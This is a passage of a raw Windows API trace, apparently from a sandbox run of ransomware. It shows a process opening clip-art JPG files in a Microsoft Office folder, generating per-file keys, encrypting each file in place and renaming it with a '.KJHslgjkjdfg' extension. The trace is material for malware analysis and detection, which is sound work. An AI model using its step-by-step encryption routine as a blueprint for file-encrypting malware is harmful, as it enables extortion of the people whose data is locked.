lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.728] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.728] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.728] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.728] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1f86c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1f86c, lpOverlapped=0x0) returned 1 [0183.730] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f870, dwBufLen=0x1f870 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1f870) returned 1 [0183.732] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.732] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1f870, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1f870, lpOverlapped=0x0) returned 1 [0183.732] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.732] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1f944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.732] SetEndOfFile (hFile=0x114) returned 1 [0183.736] GetProcessHeap () returned 0x2a0000 [0183.736] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.736] GetProcessHeap () returned 0x2a0000 [0183.736] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.736] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg.kjhslgjkjdfg")) returned 1 [0183.738] CloseHandle (hObject=0x114) returned 1 [0183.738] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b83a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382930.JPG", cAlternateFileName="")) returned 1 [0183.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.739] GetProcessHeap () returned 0x2a0000 [0183.739] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.739] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.739] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.739] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0183.741] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.741] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.741] GetProcessHeap () returned 0x2a0000 [0183.741] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.742] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.742] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.742] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.742] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.742] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.742] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.742] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.742] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.742] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.742] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.742] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.742] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b83a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b83a, lpOverlapped=0x0) returned 1 [0183.744] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b840, dwBufLen=0x1b840 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b840) returned 1 [0183.746] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.746] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b840, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b840, lpOverlapped=0x0) returned 1 [0183.746] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.746] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1b914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.746] SetEndOfFile (hFile=0x114) returned 1 [0183.750] GetProcessHeap () returned 0x2a0000 [0183.750] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.750] GetProcessHeap () returned 0x2a0000 [0183.750] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.750] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg.kjhslgjkjdfg")) returned 1 [0183.752] CloseHandle (hObject=0x114) returned 1 [0183.753] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df43, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382931.JPG", cAlternateFileName="")) returned 1 [0183.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.754] GetProcessHeap () returned 0x2a0000 [0183.754] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.754] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.754] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.754] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0183.756] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.756] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.756] GetProcessHeap () returned 0x2a0000 [0183.756] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.756] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.756] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.756] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.757] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.757] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.757] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.757] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.757] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.757] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.757] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.757] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.757] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1df43, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1df43, lpOverlapped=0x0) returned 1 [0183.759] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1df50, dwBufLen=0x1df50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1df50) returned 1 [0183.761] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.761] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1df50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1df50, lpOverlapped=0x0) returned 1 [0183.762] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.762] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1e024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.762] SetEndOfFile (hFile=0x114) returned 1 [0183.765] GetProcessHeap () returned 0x2a0000 [0183.765] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.765] GetProcessHeap () returned 0x2a0000 [0183.765] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg.kjhslgjkjdfg")) returned 1 [0183.767] CloseHandle (hObject=0x114) returned 1 [0183.767] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x184d3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382938.JPG", cAlternateFileName="")) returned 1 [0183.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.772] GetProcessHeap () returned 0x2a0000 [0183.772] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.772] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.772] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.772] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0183.775] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.775] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.775] GetProcessHeap () returned 0x2a0000 [0183.775] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.775] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.775] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.775] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.775] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.775] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.775] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.775] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.776] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.776] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.776] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.776] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.776] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x184d3, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x184d3, lpOverlapped=0x0) returned 1 [0183.778] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x184e0, dwBufLen=0x184e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x184e0) returned 1 [0183.780] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.780] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x184e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x184e0, lpOverlapped=0x0) returned 1 [0183.780] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.780] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x185b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.780] SetEndOfFile (hFile=0x114) returned 1 [0183.784] GetProcessHeap () returned 0x2a0000 [0183.784] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.784] GetProcessHeap () returned 0x2a0000 [0183.784] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.784] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg.kjhslgjkjdfg")) returned 1 [0183.786] CloseHandle (hObject=0x114) returned 1 [0183.786] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1aba5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382939.JPG", cAlternateFileName="")) returned 1 [0183.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.787] GetProcessHeap () returned 0x2a0000 [0183.787] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.787] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.787] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.787] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0183.790] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.790] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.790] GetProcessHeap () returned 0x2a0000 [0183.790] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.790] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.790] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.790] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.790] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.790] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.790] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.790] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.791] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.791] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.791] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.791] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.791] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1aba5, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1aba5, lpOverlapped=0x0) returned 1 [0183.793] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1abb0, dwBufLen=0x1abb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1abb0) returned 1 [0183.795] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.795] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1abb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, 